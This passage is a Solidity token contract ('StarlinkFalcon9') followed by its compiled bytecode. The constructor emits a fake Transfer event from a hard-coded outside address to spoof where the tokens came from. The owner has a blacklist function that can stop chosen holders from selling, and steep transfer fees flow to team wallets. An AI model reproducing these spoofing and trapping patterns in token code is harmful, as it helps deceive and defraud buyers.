uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "StarlinkFalcon9";
string private constant _symbol = "StarlinkFalcon9";
uint8 private constant _decimals = 18;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable addr1, address payable addr2) {
_FeeAddress = addr1;
_marketingWalletAddress = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_FeeAddress] = true;
_isExcludedFromFee[_marketingWalletAddress] = true;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 5;
_teamFee = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 5;
_teamFee = 20;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 100000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ddd565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612923565b61045e565b6040516101789190612dc2565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f5f565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906128d4565b610490565b6040516101e09190612dc2565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612846565b610569565b005b34801561021e57600080fd5b50610227610659565b6040516102349190612fd4565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129a0565b610662565b005b34801561027257600080fd5b5061027b610714565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612846565b610786565b6040516102b19190612f5f565b60405180910390f35b3480156102c657600080fd5b506102cf6107d7565b005b3480156102dd57600080fd5b506102e661092a565b6040516102f39190612cf4565b60405180910390f35b34801561030857600080fd5b50610311610953565b60405161031e9190612ddd565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612923565b610990565b60405161035b9190612dc2565b60405180910390f35b34801561037057600080fd5b5061038b6004803603810190610386919061295f565b6109ae565b005b34801561039957600080fd5b506103a2610afe565b005b3480156103b057600080fd5b506103b9610b78565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129f2565b6110da565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612898565b611226565b6040516104189190612f5f565b60405180910390f35b60606040518060400160405280600f81526020017f537461726c696e6b46616c636f6e390000000000000000000000000000000000815250905090565b600061047261046b6112ad565b84846112b5565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b600061049d848484611480565b61055e846104a96112ad565b6105598560405180606001604052806028815260200161366f60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b389092919063ffffffff16565b6112b5565b600190509392505050565b6105716112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f590612ebf565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006012905090565b61066a6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ee90612ebf565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107556112ad565b73ffffffffffffffffffffffffffffffffffffffff161461077557600080fd5b600047905061078381611b9c565b50565b60006107d0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c97565b9050919050565b6107df6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086390612ebf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600f81526020017f537461726c696e6b46616c636f6e390000000000000000000000000000000000815250905090565b60006109a461099d6112ad565b8484611480565b6001905092915050565b6109b66112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3a90612ebf565b60405180910390fd5b60005b8151811015610afa57600160066000848481518110610a8e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610af290613275565b915050610a46565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1614610b5f57600080fd5b6000610b6a30610786565b9050610b7581611d05565b50565b610b806112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0490612ebf565b60405180910390fd5b601160149054906101000a900460ff1615610c5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5490612f3f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cf030601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006112b5565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3657600080fd5b505afa158015610d4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6e919061286f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dd057600080fd5b505afa158015610de4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e08919061286f565b6040518363ffffffff1660e01b8152600401610e25929190612d0f565b602060405180830381600087803b158015610e3f57600080fd5b505af1158015610e53573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e77919061286f565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610f0030610786565b600080610f0b61092a565b426040518863ffffffff1660e01b8152600401610f2d96959493929190612d61565b6060604051808303818588803b158015610f4657600080fd5b505af1158015610f5a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f7f9190612a1b565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff0219169083151502179055506a52b7d2dcc80cd2e40000006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611084929190612d38565b602060405180830381600087803b15801561109e57600080fd5b505af11580156110b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d691906129c9565b5050565b6110e26112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461116f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116690612ebf565b60405180910390fd5b600081116111b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a990612e7f565b60405180910390fd5b6111e460646111d6836b033b2e3c9fd0803ce8000000611fff90919063ffffffff16565b61207a90919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60125460405161121b9190612f5f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611325576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131c90612f1f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611395576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138c90612e3f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114739190612f5f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e790612eff565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155790612dff565b60405180910390fd5b600081116115a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159a90612edf565b60405180910390fd5b6005600a81905550600a600b819055506115bb61092a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561162957506115f961092a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a7557600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d25750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116db57600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117865750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117dc5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117f45750601160179054906101000a900460ff165b156118a45760125481111561180857600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061185357600080fd5b601e426118609190613095565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561194f5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119a55750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119bb576005600a819055506014600b819055505b60006119c630610786565b9050601160159054906101000a900460ff16158015611a335750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a4b5750601160169054906101000a900460ff165b15611a7357611a5981611d05565b60004790506000811115611a7157611a7047611b9c565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b1c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b2657600090505b611b32848484846120c4565b50505050565b6000838311158290611b80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b779190612ddd565b60405180910390fd5b5060008385611b8f9190613176565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611bec60028461207a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c17573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c6860028461207a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c93573d6000803e3d6000fd5b5050565b6000600854821115611cde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd590612e1f565b60405180910390fd5b6000611ce86120f1565b9050611cfd818461207a90919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d63577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611d915781602001602082028036833780820191505090505b5090503081600081518110611dcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e7157600080fd5b505afa158015611e85573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ea9919061286f565b81600181518110611ee3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f4a30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b5565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611fae959493929190612f7a565b600060405180830381600087803b158015611fc857600080fd5b505af1158015611fdc573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b6000808314156120125760009050612074565b60008284612020919061311c565b905082848261202f91906130eb565b1461206f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206690612e9f565b60405180910390fd5b809150505b92915050565b60006120bc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061211c565b905092915050565b806120d2576120d161217f565b5b6120dd8484846121c2565b806120eb576120ea61238d565b5b50505050565b60008060006120fe6123a1565b91509150612115818361207a90919063ffffffff16565b9250505090565b60008083118290612163576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215a9190612ddd565b60405180910390fd5b506000838561217291906130eb565b9050809150509392505050565b6000600a5414801561219357506000600b54145b1561219d576121c0565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b6000806000806000806121d48761240c565b95509550955095509550955061223286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122c785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123138161251c565b61231d84836125d9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161237a9190612f5f565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b6000806000600854905060006b033b2e3c9fd0803ce800000090506123dd6b033b2e3c9fd0803ce800000060085461207a90919063ffffffff16565b8210156123ff576008546b033b2e3c9fd0803ce8000000935093505050612408565b81819350935050505b9091565b60008060008060008060008060006124298a600a54600b54612613565b92509250925060006124396120f1565b9050600080600061244c8e8787876126a9565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124b683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b38565b905092915050565b60008082846124cd9190613095565b905083811015612512576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250990612e5f565b60405180910390fd5b8091505092915050565b60006125266120f1565b9050600061253d8284611fff90919063ffffffff16565b905061259181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125ee8260085461247490919063ffffffff16565b600881905550612609816009546124be90919063ffffffff16565b6009819055505050565b60008060008061263f6064612631888a611fff90919063ffffffff16565b61207a90919063ffffffff16565b90506000612669606461265b888b611fff90919063ffffffff16565b61207a90919063ffffffff16565b9050600061269282612684858c61247490919063ffffffff16565b61247490919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126c28589611fff90919063ffffffff16565b905060006126d98689611fff90919063ffffffff16565b905060006126f08789611fff90919063ffffffff16565b905060006127198261270b858761247490919063ffffffff16565b61247490919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061274561274084613014565b612fef565b9050808382526020820190508285602086028201111561276457600080fd5b60005b85811015612794578161277a888261279e565b845260208401935060208301925050600181019050612767565b5050509392505050565b6000813590506127ad81613629565b92915050565b6000815190506127c281613629565b92915050565b600082601f8301126127d957600080fd5b81356127e9848260208601612732565b91505092915050565b60008135905061280181613640565b92915050565b60008151905061281681613640565b92915050565b60008135905061282b81613657565b92915050565b60008151905061284081613657565b92915050565b60006020828403121561285857600080fd5b60006128668482850161279e565b91505092915050565b60006020828403121561288157600080fd5b600061288f848285016127b3565b91505092915050565b600080604083850312156128ab57600080fd5b60006128b98582860161279e565b92505060206128ca8582860161279e565b9150509250929050565b6000806000606084860312156128e957600080fd5b60006128f78682870161279e565b93505060206129088682870161279e565b92505060406129198682870161281c565b9150509250925092565b6000806040838503121561293657600080fd5b60006129448582860161279e565b92505060206129558582860161281c565b9150509250929050565b60006020828403121561297157600080fd5b600082013567ffffffffffffffff81111561298b57600080fd5b612997848285016127c8565b91505092915050565b6000602082840312156129b257600080fd5b60006129c0848285016127f2565b91505092915050565b6000602082840312156129db57600080fd5b60006129e984828501612807565b91505092915050565b600060208284031215612a0457600080fd5b6000612a128482850161281c565b91505092915050565b600080600060608486031215612a3057600080fd5b6000612a3e86828701612831565b9350506020612a4f86828701612831565b9250506040612a6086828701612831565b9150509250925092565b6000612a768383612a82565b60208301905092915050565b612a8b816131aa565b82525050565b612a9a816131aa565b82525050565b6000612aab82613050565b612ab58185613073565b9350612ac083613040565b8060005b83811015612af1578151612ad88882612a6a565b9750612ae383613066565b925050600181019050612ac4565b5085935050505092915050565b612b07816131bc565b82525050565b612b16816131ff565b82525050565b6000612b278261305b565b612b318185613084565b9350612b41818560208601613211565b612b4a8161334b565b840191505092915050565b6000612b62602383613084565b9150612b6d8261335c565b604082019050919050565b6000612b85602a83613084565b9150612b90826133ab565b604082019050919050565b6000612ba8602283613084565b9150612bb3826133fa565b604082019050919050565b6000612bcb601b83613084565b9150612bd682613449565b602082019050919050565b6000612bee601d83613084565b9150612bf982613472565b602082019050919050565b6000612c11602183613084565b9150612c1c8261349b565b604082019050919050565b6000612c34602083613084565b9150612c3f826134ea565b602082019050919050565b6000612c57602983613084565b9150612c6282613513565b604082019050919050565b6000612c7a602583613084565b9150612c8582613562565b604082019050919050565b6000612c9d602483613084565b9150612ca8826135b1565b604082019050919050565b6000612cc0601783613084565b9150612ccb82613600565b602082019050919050565b612cdf816131e8565b82525050565b612cee816131f2565b82525050565b6000602082019050612d096000830184612a91565b92915050565b6000604082019050612d246000830185612a91565b612d316020830184612a91565b9392505050565b6000604082019050612d4d6000830185612a91565b612d5a6020830184612cd6565b9392505050565b600060c082019050612d766000830189612a91565b612d836020830188612cd6565b612d906040830187612b0d565b612d9d6060830186612b0d565b612daa6080830185612a91565b612db760a0830184612cd6565b979650505050505050565b6000602082019050612dd76000830184612afe565b92915050565b60006020820190508181036000830152612df78184612b1c565b905092915050565b60006020820190508181036000830152612e1881612b55565b9050919050565b60006020820190508181036000830152612e3881612b78565b9050919050565b60006020820190508181036000830152612e5881612b9b565b9050919050565b60006020820190508181036000830152612e7881612bbe565b9050919050565b60006020820190508181036000830152612e9881612be1565b9050919050565b60006020820190508181036000830152612eb881612c04565b9050919050565b60006020820190508181036000830152612ed881612c27565b9050919050565b60006020820190508181036000830152612ef881612c4a565b9050919050565b60006020820190508181036000830152612f1881612c6d565b9050919050565b60006020820190508181036000830152612f3881612c90565b